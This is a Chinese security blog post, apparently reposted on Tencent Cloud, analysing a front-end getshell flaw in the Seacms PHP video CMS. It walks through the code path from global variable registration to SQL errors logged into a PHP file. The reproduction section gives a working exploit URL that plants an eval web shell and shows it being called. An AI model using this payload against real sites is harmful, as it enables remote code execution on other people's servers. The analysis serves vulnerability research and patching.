前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >代码审计之Seacms前台Getshell分析

代码审计之Seacms前台Getshell分析

作者头像
字节脉搏实验室
发布2020-06-04 12:09:23
1.5K0
发布2020-06-04 12:09:23
举报

0x01 Seacms介绍:

海洋影视管理系统(seacms,海洋cms)海洋cms是基于PHP+MySql技术开发的开源CMS,是一套专为不同需求的站长而设计的视频点播系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选。

0x02 漏洞复现:

利用路径:/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[a]);?%3E

直接访问:data/mysqli_error_trace.php?a=phpinfo();

写入Shell后,成功连接:data/mysqli_error_trace.php?a=@eval($_POST['a']);

0x03 代码分析:

第一步:/comment/api/index.php 分析:

作用:第3行引用了/include/common.php这个文件。

第二步:打开/include/common.php这个文件,定位到98~118行:

作用:将 $_GET、$_POST、$_COOKIE 传入的参数注册成全局变量。

第三步:回到/comment/api/index.php继续分析,定位到第18行:

作用:发现在第18行处调用了 ReadData 函数,我们跟进这个函数。

作用:声明$type,$pCount,$rlist,这些参数都是前面注册的全局变量。

第四步:因为后面的函数都用到了$rlist这个变量,重点分析$rlist:

作用:implode()把$rlist组合成字符串,然后进入Readrlist函数。

第五步:跟进Readrlist函数:

作用:拼接并执行SQL语句:id in ($ids) ,这里的$ids其实就是刚才可控的 $rlist 变量。

第六步:SQL执行后,引用了Execute()函数:

第七步:跟进Execute()函数,函数文件位置:include/sql.class.php 第224~258行:

作用:当查询结果为false时,使用DisplayError()函数的方法。

第八步:跟进DisplayError()函数:

作用:这个函数首先输出了提示错误的html代码,之后将mysql的错误日志写入/data/mysqli_error_trace.php文件并保存,直到这里就触发了Getshell的漏洞。

0x04 Cms下载地址:

下载地址:https://share.weiyun.com/5qpXRztI

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云点播
面向音视频、图片等媒体,提供制作上传、存储、转码、媒体处理、媒体 AI、加速分发播放、版权保护等一体化的高品质媒体服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档